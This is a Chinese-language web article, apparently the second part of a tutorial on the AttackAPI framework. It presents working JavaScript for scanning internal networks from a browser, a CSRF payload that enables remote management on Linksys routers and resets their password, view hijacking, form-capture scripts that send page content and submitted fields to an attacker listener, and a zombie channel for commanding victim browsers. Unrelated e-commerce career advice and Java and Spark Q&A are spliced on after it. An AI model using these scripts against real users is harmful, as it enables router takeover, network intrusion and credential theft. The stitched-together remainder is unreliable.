【.com 独家特稿】多年来客户端安全一直未引起人们的足够重视,但是如今情况发生了急剧转变,客户端安全已经成为信息安全领域的焦点之一。Web恶意软件、AJAX蠕虫、浏览历史暴破、登录检测、傀儡控制技术网络端口扫描以及浏览器劫持等各种技术只是安全研究人员地下实验室的部分技术,但是已经带来了非常大的影响。
一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。由于存在多种可能的攻击矢量,Web应用程序安全社区也建立了多个框架来探测、利用安全漏洞,从而揭示Web开发社区所面临的种种问题。
我们在上篇向大家介绍了AttackAPI测试环境的搭设以及客户端踩点的方法进行了详尽的介绍,在本文中我们将对AttackAPI的其他用法做详尽的介绍。
一、攻击网络

能从客户端提取信息只是攻击者能够做的事情中的一小部分而已。客户端调查只是有预谋的攻击的一个起点。XSS攻击不仅仅关于客户端安全。由于浏览器是在不安全的因特网和局域网之间的桥梁,因此攻击者可以滥用不同的浏览器特性来定位和攻击内部设备。
下面考察一下如何在AttackAPI的帮助下对内部网发动攻击。就像任何有计划的网络攻击一样,我们将要进行端口扫描:
$A.scanPorts({target: ‘www.gnucitizen.org’,ports: [80,81,443],onfound: function (port) {console.log(port)},oncompleted: function () {console.log(‘completed!’)}});
图1 |
图1展示了端口扫描结果,这是从我们的浏览器看到的。您可以看到浏览器正确的识别出端口80已经打开,而端口81和443被关闭了。
从浏览器进行端口扫描不是很精确,因此,您可能会收到许多误报。要消除误报,需要通过timeout参数对扫描过程进行调优,如下所示:
$A.scanPorts({target: ‘www.gnucitizen.org’,ports: [80,81,443],timeout: 2000, // try with a couple of values to get better resultsonfound: function (port) {console.log(port)},oncompleted: function () {console.log(‘completed!’)}});
现在,我们已经知道如何进行端口扫描了,那么您现在就可以尝试通过类似于下列的东西来识别企业打印机已经打开了哪些端口:
$A.scanPorts({target: ‘10.10.128.54’, // address to the internal printer IP addressports: [80, 81, 443, 9100],onfound: function (port) {console.log(port)},oncompleted: function () {console.log(‘completed!’)}});
参数timeout定义了端口扫描程序等待当前受测端口响应的时间长度,超过该段时间就将其标识为已关闭。如果受害者通过代理访问内部Web资源的话,那么就扫描过程就会失败。然而,这种设置非常罕见。
注意:Firefox和Opera不能扫描低于80的端口号。这是这两个浏览器实现的一个安全特性,但是IE没有这种限制。AttackAPI还能对一个网络范围内的端口进行扫描。这种技术就是平常所说的地毯式端口扫描,还可以通过AttackAPI的sweepPorts函数进行访问。以下代码演示了sweepPorts函数的能力:
$A.sweepPorts({network: ‘212.211.193.100 – 212.211.193.110’,onfound: function (port) {console.log(port)},oncompleted: function () {console.log(‘completed!’)}});如果一切正常,您将看到如图2所示的结果。
图2 |
AttackAPI支持两种表示地址范围的方法,一种是“起始IP地址-终止IP地址”表示的地址范围,另一种是IP/MASK[无类域间路由(CIDR)]表示的地址范围。在这方面,可以使用以下代码扫描11.11.66.0的C类地址范围:
$A.sweepPorts({network: ‘10.10.56.0/24’,onfound: function (port) {console.log(port)},oncompleted: function () {console.log(‘completed!’)}});
为了操纵您自己的网络和IP,可以使用一些AttackAPI实用程序,这些实用程序的名称和用法概述如下:
var num = $A.ip2number(‘10.10.56.10’); // convert IP to numberconsole.log(num)var ip = $A.number2ip(num); // effectively 168441866 is the same as 10.10.56.10console.log(ip);var range = $A.net2range(‘10.10.56.0/24’); // convert network to rangeconsole.dir(range);var net = $A.range2net(range); // reverseconsole.log(net);
虽然识别出开放端口和工作的系统很重要,但是我们所能做的远不止这些。例如,我们可以通过单个函数调用就能够对内部路由器发动攻击。
有大量的设备可以用来了解如何通往因特网。第一个设备是著名的缺省网关。如果您是无线用户,它就是您的无线路由器。为了便于对这个路由器进行配置和安全设置,有时候允许通过因特网使用它的管理接口。下面是攻击者悄悄地完成此任务的方法,只要受害者访问一个恶意web页面就足够了:
$A.requestCSRF({method: ‘POST’url: (‘’+ $A.getInternalIP() ).replace(/.\d+$/, ‘.1’) +‘/setup.cgi’,query: {remote_management: ‘enable’,sysPasswd: ‘abc123’,sysConfi rmPasswd: ‘abc123’}});
首先,我们调用requestCSRF函数,它是AttackAPI众多请求函数中的一个,可以用于检索或者调用远程资源。与requestXML(它只对同源的资源有效)不同的是,requestCSRF无此限制,但是它对于调用者来说总是不可见的。这意味着,我们不能获得返回的响应。
RequestCSRF函数被调用时可以带有一些参数,第一个参数是定义发送方式,这里是POST。 然后,定义发送有效载荷的URL。注意,我们检测客户端的本地IP地址,然后通过前面所讲解的方法将其转换成默认网关地址。然后,我们添加路由器的默认证书。
无线用户经常让他们的路由器保持默认的访问设置。当requestCSRF函数结束时,我们声明要发送的实际有效载荷,这个是参数query。从查询列表我们可以看到,远程管理接口程序已经启用,并且系统口令被设为“abc123”。
注意:这个函数使用了Linksys的无线路由器的默认证书。如果该路由器已经配置了其它的证书,它会为受害者提供一个基本认证框,表示在批准该请求前需要对他们进行身份验证。记住,受害者不会知道在后台发生了什么。它只是看起来连接已经终止,并且路由器试图恢复控制——很多时候都会遇到这种情况——这也正是受害者乐意键入他们的证书并且批准该恶意请求的原因。
攻击对用户来说总是不可见的。如果认证得手,端口8080就会启用,这样就可以通过因特网来使用其管理接口了。这时,边界路由器以及所有该网络中的机器都已经完全落入攻击者手中。
攻击者可能想要做的事情是发送一个配置消息,指出该用户的路由器已经被攻陷了,如下所示:
$A.requestCSRF({method: ‘POST’url: (‘’+ $A.getInternalIP() ).replace(/.\d+$/, ‘.1’) +‘/setup.cgi’,query: {remote_management: ‘enable’,sysPasswd: ‘abc123’,sysConfi rmPasswd: ‘abc123’},onload: function () {$A.requestIMG(‘rm_compromised.php’);}});
下面是一个真实的攻击,并且会对Linksys的无线路由器造成损害。一旦攻击者潜入您所在的网络,他们就能够做其他的事情,例如识别不同的本地设备,并尽可能地收集更多的信息。所以用户不应该信赖来自任意页面的JavaScript代码,同时他们应该意识到在没有保护的情况下冲浪所潜在的问题。
在前面部分,我们展示了经过scanStates函数可以发现已经登录的用户。然而,这个函数还有许多其他用途。由于scanStates基于特征码,因此我们可以使用它检测不同的网络设备的类型和版本。特征码是基于远程访问资源时包含一个脚本标签所引起的错误信息的,例如一个不存在的资源导致的错误跟一个由存在的资源所导致的错误是有区别的,这意味着,提供一个足够大的特征数据库,我们就可以检测不同的网络设备、企业网站等等的类型和版本。攻击者能够成功的识别出您的机构的内部网密钥体制的版本。如果其中有一些具有XSS或者CSRF漏洞,那么攻击者就可以针对性的发动攻击,从而取得受害者的会话的永久性的或者非永久性的控制权。
浏览器是有敌意的因特网和本地可信网络这两个世界间的一个沟通平台,这使它成为攻击者穿越两个世界的理想平台。在下列部分,我们将展示进入某人的路由器是多么的简单,已及攻击者是怎样轻松通过控制其它的设备来破坏网络的完整性的。
二、劫持浏览器
相反,非持久性XSS向量只发生在单个资源上,并且用户一旦离开被感染的页面,控制就会丢失。这意味着,攻击者只能对他们发动一次攻击。
在AttackAPI的firtest-interative.htm页面中输入下列命令:
$A.hijackView({url:‘’});几秒钟后,应该可以得到如图3所示的结果。
图3 |
如果一切正常,应该可以看到Google的首页。您可能认为我们已经被重定向到Google,然而请注意地址栏并没有任何变化。这意味着,虽然看到的是另一番景象,但实际上我们仍然位于firtest-interative.htm这个页面中。可尝试浏览Google,并进行一些搜索。注意,地址栏从来都不会发生任何的变化。很明显,浏览器的视窗被一个非常短的URLs所劫持了。
因为,我们所看到的内容跟地址栏中的URL毫不相干。这里的hijackView函数大部分时候都能得手。另一方面,这种技术可以是成功施加到Kiosk模式的终端机。由于Kiosk 浏览器没有提供地址栏,因此一旦攻击者找到注入并执行JavaScript的方法,他们就可以获得一个几乎永久性的控制。
由于浏览器具有同源策略限制,因此虽然可以劫持视图,但是却不能读取或者操纵它的内容,除非满足同源策略的要求。在这方面,劫持了来自myspace.com 的用户的攻击者无法读取这些用户在google.com上的内容。记住,攻击者仍然能控制用户的浏览器视图。当被劫持的用户位于攻击启动域相同的域内时,攻击者可以发动大量的攻击来监视用户的活动,从而收集很敏感的信息。下面看看如何通过AttackAPI达到此目的。
对于下面的演示,我们需要对一次真实的攻击进行模拟,因此,我们将要使用AttackAPI的bookmarklet加载库函数到一个真实的页面上。您可以从www.gnucitizen.org/projects/load-AttackAPI-bookmarklet来复制AttackAPI的bookmarklet。 将该书签放在你的书签工具栏中,并来到cn.msn.com。一旦到达这里,打开Firebug控制台。现在按下该书签。AttackAPI将在几秒钟内载入。为了检测是否已经加载好,可以输入:
如果没有出现$A对象,请再等一会儿,并重试。清空Firebug控制台,然后输入下列命令:
$A.hijackView({onload: function () {try {var hijackedDocument = $A.getDocument(this);var query = {};query[‘snapshot_’ + new Date().getTime()] =hijackedDocument.body.innerHTML;$A.transport({url: ‘’, query:query});} catch(e) {}}});
执行该语句之前,返回系统提示符并让NetCat侦听端口8888,具体做法如前所述。一切就绪后,按下Run。几秒后,将会看到当前视图是怎么替换成一个被劫持的页面的。来到cn.msn.com,同时注意你的NetCat屏幕。将会看到当前视图的一个快照。这时NetCat将关闭。重新启动它,继续冲浪。您将继续收到用户的动作快照。
当然,NetCat不是收集这种类型的信息的最佳对象。您可能需要脚本之类的东西来保存这种类型的信息。现在让我们为我们的脚本添加更多的功能。利用下列表达式,我们就能够监视所有用户发来的页面和表单:
$A.hijackView({onload: function () {try {var hijackedDocument = $A.getDocument(this);var query = {};query[‘snapshot_’ + new Date().getTime()] =hijackedDocument.body.innerHTML;$A.transport({url: ‘’,query: query});for (var form in doc.forms)$A.hijackForm({form: form, onsubmit: function () {var fi elds = {};for (var fi eld in this.fi elds)fi elds[fi eld] = this.fi elds[fi eld];var query = {};query[‘form_’ + new Date().getTime()] =$A.buildQuery(fi elds);$A.transport({url: ‘’, query: query});}});} catch(e) {}}});
这个语句会产生一个恶意脚本,以监视受害者的一举一动。您可能已经想到如果一个银行或者电子商务站点上有一个XSS矢量时,类似的脚本会带来多么严重的后果。
三、傀儡机器的控制
AttackAPI不仅提供了便于监视受害者的活动、收集受害者的敏感信息并且攻击他们的内部网络的机制,它提供的机制还很多,例如,我们还能够控制他们的用户体验。
AttackAPI程序包具有一个专门的目录,称为inf ,它用来存放所有基础设施档案。到目前为止,该目录中仅有一个文件即channel.php。AttackAPI的channel.php文件是一个PHP脚本,用以建立和管理在攻击者和他们的受害者之间的双向通信。
您可以扩展这个脚本,比如通过添加自己的后端来储藏和操纵受害者的会话等,但是这不是本文的讨论主题。要了解更多信息,请访问AttackAPI项目页面:www.gnucitizen.org/projects/AttackAPI。为了使用channel.php,我们必须把它放在一个支持PHP4或更高版本的主机上。同样,可以使用AppServ来达到此目的。
从firetest-interactive.htm页面中打开Firebug控制台,并输入下列命令(将localhost改成存放channel.php文件的 服务器 的地址):$A.zombiefy(‘’);如果channel.php脚本位于localhost上,上面这行命令会把当前浏览器挂到一个攻击信道。现在打开另一个浏览器,并在其地址栏输入下列URL:‘Hello!’)不一会儿,将会看到一个警告信息框出现在傀儡机浏览器上,说“Hello!”。这意味着,今后攻击者可以向受害者发送命令,只要是他们在傀儡控制技术的作用范围内。俘虏一个客户端非常简单,但是要控制傀儡机就需要一些技巧了。AttackAPI提供了一些函数,专门解决这些麻烦事。您可以通过生成一个信道接口来很轻松地控制傀儡机:
var channel = $A.spawnChannel(‘’);channel.push(‘alert(“Hi There!”)’);channel.onenum = function (data) {console.log(data);}channel.enum();
这段代码用具体例子说明了一个新的信道,它指向。可以使用下面的命令发送一个警告信息框:在脚本末尾处,我们将一个函数连到onenum处理程序上,并发出enum命令,这条命令将列出所有可用的客户端,及其环境设置。
四、小结
多年来客户端安全一直未引起人们的足够重视,但是如今情况发生了急剧转变,客户端安全已经成为信息安全领域的焦点之一。Web恶意软件、AJAX蠕虫、浏览历史暴破、登录检测、傀儡控制技术网络端口扫描以及浏览器劫持等各种技术只是安全研究人员地下实验室的部分技术,但是已经带来了非常大的影响。
一种类型的安全专业浮现并变成主流利用机制时,供应厂商和个人就会开始发行框架和自动工具,来处理工具和测试过程。虽然供应厂商最初主要将精力放在AJAX审计工具方面,但是安全研究人员更关注的是连绵的系统边界,以探索事实真相。由于存在多种可能的攻击矢量,Web应用程序安全社区也建立了多个框架来探测、利用安全漏洞,从而揭示Web 开发社区所面临的种种问题。
我们在上篇向大家介绍了AttackAPI测试环境的搭设以及客户端踩点的方法进行了详尽的介绍,在本文中我们将对AttackAPI的其他用法做详尽的介绍,即利用它攻击网络、控制浏览器以及控制傀儡机。希望本文对读者的安全测试工作能够有所帮助。
【编辑推荐】
吉大远程教育,大专电子商务毕业后能干什么工作,就业困难吗?
你问电子商务能做什么工作,首先你要了解电子商务是什么,发展趋势就业方向!电子商务是一个很广泛的概念,概括的说是商务电子化,把原来传统的销售,购物渠道移到互联网上,打破地域的限制,使得简易变的全球化,网络化,无形化,个性化。 它包括的很多方面,你有兴趣的话先去了解了解!电子商务是时代进步的趋势,有段话说的好:21世纪是电子商务时代,要么电子商务,要么无商可务,中国互联网将从“网民时代”、“网友时代”提升到“网商时代”,若我们今天错过了互联网,我们错过的不仅仅是一次机会,而是整整一个时代。 下面给你列出来它的一些基本职位:1、网站运营经理/主管一般要求:熟悉网络营销常用方法,具有电子商务全程运营管理的经验;能够制定网站短、中、长期发展计划、执行与监督;能够整体网站及频道的运营、市场推广、广告与增值产品的经营与销售;能够网站运营团队的建设和管理,实现网站的战略目标、流量提升与盈利。 2、网站策划/编辑一般要求:熟悉网站策划、实施、运营、宣传等业务流程;熟悉电子商务运营与操作流程,能够洞悉电子商务的发展方向;对企业上网有比较深的理解,熟悉企业网站的功能要求;有较强的中文功底和文字处理能力,具有一定的网站栏目策划、运营管理知识;具有较强的选题、策划、采编能力、归纳能力;熟悉电脑操作,掌握基本网络知识。 3、网站推广一般要求:负责网站内容/网站网页设计/网站企划/网站营销企划;网站社群相关服务,内容规划及经营;会员维护及管理工作;文笔好,能够独立作市场宣传策划及文案的撰写;能够熟练运用各种宣传媒介进行宣传推广工作;4、网站开发人员一般要求:(这个要求是汇总了几家公司的岗位描述,不一定要具备所有的技术技能,这些技术能力是包含在几个技术体系里的。 Java,,php等体系在实际开发中都是比较主流的,技术开发公司一般都不会采用这么多体系,会根据项目的具体要求结合各个体系的特点选择采用,也会在人才招聘和储备时着中吸收熟悉自己所采用的体系的。 所以,在技能学习和训练中除了把熟悉和了解各个体系做为基础外,更重要的是选择一种体系进行深入研究和开发训练。 哪个体系更有前景似乎根本没有答案,现在各个体系都在被采用,甚至一个开发团队中经常会配备分别熟悉各个体系的开发人员。 )以上内容来自“茅山下”网站。 负责网站WEB页面的开发与后台的技术支持;能够满足运作层对技术层的需要;精通ASP/PHP/CGI 3种开发工具的一种,能够独立开发后台;精通SQL server、Access 能够独立完成数据库的开发。 有1年开发经验;能后读懂常用JSP的代码,并且能够编写基本的JSP程序;精通HTML语言,完全能手写HTML代码;熟练掌握ASP、、JAVA、JAVASCRIPT、SQL SERVER、等技术;熟练掌握Windows 2000/2003、Linux/Unix其中一种操作系统;熟练掌握SQL Server,熟悉Oracle数据库管理系统;熟悉网站的管理、设计规划、前台制作、后台程序制作与数据库管理流程与技术。 5、网站设计一般要求:能熟练的应用:flash、dreamweaver、photoshop、css+div、xml+xsl(不包括程序)等编辑网页;精通平面设计,熟悉FrontPage,DreamWeaver,Flash等网页制作工具,能够承担大型商业网站制作;熟悉Photoshop , Coreldraw等图形设计、制作软件,熟悉HTML、ASP语言;具备一定的视觉传达设计功底,擅长广告创意、设计在网络广告、传统媒体广告上的应用;对网站建设,VI的设计及应用有一定的经验,具有沟通、合作精神,有创造力;熟悉JAVASCRIPT,能够了解jsp或servlet或php,独立完成动态网页;掌握HTML、JavaScript,了解网站程序实现原理,有与程序员配合经验。 6、网络营销员一般要求:(这是一个典型的人力资料管理人员缺乏专业知识,而业务的发展有需要电子商务专业人才,所以才出现了比较外行的描述。 )熟悉网络、网络营销和办公软件;负责公司产品在网络上的推广;对网络营销感兴趣,并能很好的掌握电子商务及网络发展的各种理念;7、外贸电子商务我们知道在网络营销中发布信息和撮合交易的方式很多,这样的网站也很多。 这是一个典型的行业网络营销岗位。 可以预见,随着电子商务应用的深入,网络营销会普及到所有行业,势必会出现农产品网络营销、家电网络营销、服装网络营销等等岗位。 例如负责维护并回复阿里巴巴、环球资源等电子商务平台的外贸客户询盘;参加广交会、义博会、德国科隆博览会等专业性展会。 希望你能找好自己在电子商务的发展方向,在这条路上越走越远!
Java 字符串与基本数据的相互转化
展开全部public String valueOf(byte n)将一个byte类型的值,当参数传递给此方法并转换成字符串类型返回。 public String valueOf(int n)将一个int类型的值,当参数传递给此方法并转换成字符串类型返回。 public String valueOf(double n)将一个double类型的值,当参数传递给此方法并转换成字符串类型返回。 public String valueOf(float n) 将一个float类型的值,当参数传递给此方法并转换成字符串类型返回。 问题:那么转换byte、short该如何转呢?x=(s);? 利用上面的public String valueOf(byte n)方法,可以将byte类型转换为string类型。 class Test {public static void main(String[] args){byte b = 1 ;Test t = new Test() ;String s = (b) ;}}其他类型转String类型同上。 多看看api文档,在包中找String类。 里面都有介绍这些方法。
Spark 中用 Scala 和 java 开发有什么区别
1,构建系统的选择,sbt更合适用来构建Scala工程,maven更合适用来构建Java工程2,对于spark中的API来说,Java和Scala有差别,但差别并不大3,如果用Scala开发spark原型程序,可以用spark-shell“打草稿”,或者直接使用spark-shell做交互式实时查询4,用Scala代码量将减少甚至一个数量级,不过Scala的使用门槛较高建议:使用Scala构建spark作业,因为spark本身为sbt所构建,同时使用Scala开发spark作业将有助于理解spark的实现机制
发表评论